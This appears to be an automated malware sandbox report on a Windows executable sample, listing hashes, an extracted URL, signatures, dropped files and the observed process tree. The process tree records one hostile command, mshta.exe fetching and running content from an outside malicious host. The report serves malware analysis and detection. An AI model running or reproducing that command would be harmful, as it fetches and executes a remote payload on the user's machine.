Analysis
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max time kernel
0s -
max time network
9s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
27-01-2024 12:49
Behavioral task
behavioral1
Sample
7a4c9b39d68921eb09cbbdc86bfce813.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
7a4c9b39d68921eb09cbbdc86bfce813.exe
Resource
win10v2004-20231222-en
Errors
General
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Target
7a4c9b39d68921eb09cbbdc86bfce813.exe
-
Size
510KB
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MD5
7a4c9b39d68921eb09cbbdc86bfce813
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SHA1
c08650fac5f61eca5d2bad31fa5c43d8dadd2e06
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SHA256
6807e7aad82af62fe890d61c05410ff92da6a8060fd3fcaf75cba02c486190d8
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SHA512
a8e1bdbc0d9dbe2481a0785b4bd5399408ed3bd780e41ab92c332a51c5ed2210d77fab624df11c06003ceac176765d3ffd7c6a8ae3553dc216ed22792d934391
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SSDEEP
12288:84EE+tbepH42vOZVFtgxP4R2fS/jBcxvmbQXmPSUXeGuJkaL1+bOaYlc:x4ipHjOZzCxFzRmb+mPfXykf4
Malware Config
Extracted
http://cherezzaborpereprig.com/inst.php?id=skytraf01
Signatures
-
Processes:
resource yara_rule behavioral1/memory/2548-0-0x0000000000400000-0x00000000006AE000-memory.dmp upx behavioral1/memory/2548-13-0x0000000000400000-0x00000000006AE000-memory.dmp upx -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
7a4c9b39d68921eb09cbbdc86bfce813.exepid process 2548 7a4c9b39d68921eb09cbbdc86bfce813.exe 2548 7a4c9b39d68921eb09cbbdc86bfce813.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7a4c9b39d68921eb09cbbdc86bfce813.exe"C:\Users\Admin\AppData\Local\Temp\7a4c9b39d68921eb09cbbdc86bfce813.exe"1⤵
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://cherezzaborpereprig.com/inst.php?id=skytraf012⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\dkfjasdfshd.bat" "2⤵
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\dkfjasdfshd.batFilesize
238B
MD5d94e6ea43a7b83700eff4e726a1c54d9
SHA11bc4508b5690fd6432c6fe876db1cde71b3e41ac
SHA2560f999d52f639f2929346de15a353124c8439deae376a2961c4b20513f97661a2
SHA51225f2f3ccd34496ffc62662829fff428e6695e7873bb7a4c1ae919974ec2602cc5762a3b844b70514ec347ba4f78b6c56da6271e0f7f77fa83bf6b9d0d8956963
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memory/2548-0-0x0000000000400000-0x00000000006AE000-memory.dmpFilesize
2.7MB
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memory/2548-1-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
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memory/2548-13-0x0000000000400000-0x00000000006AE000-memory.dmpFilesize
2.7MB
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memory/2604-12-0x0000000002E10000-0x0000000002E11000-memory.dmpFilesize
4KB
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memory/2972-14-0x0000000002AB0000-0x0000000002AB1000-memory.dmpFilesize
4KB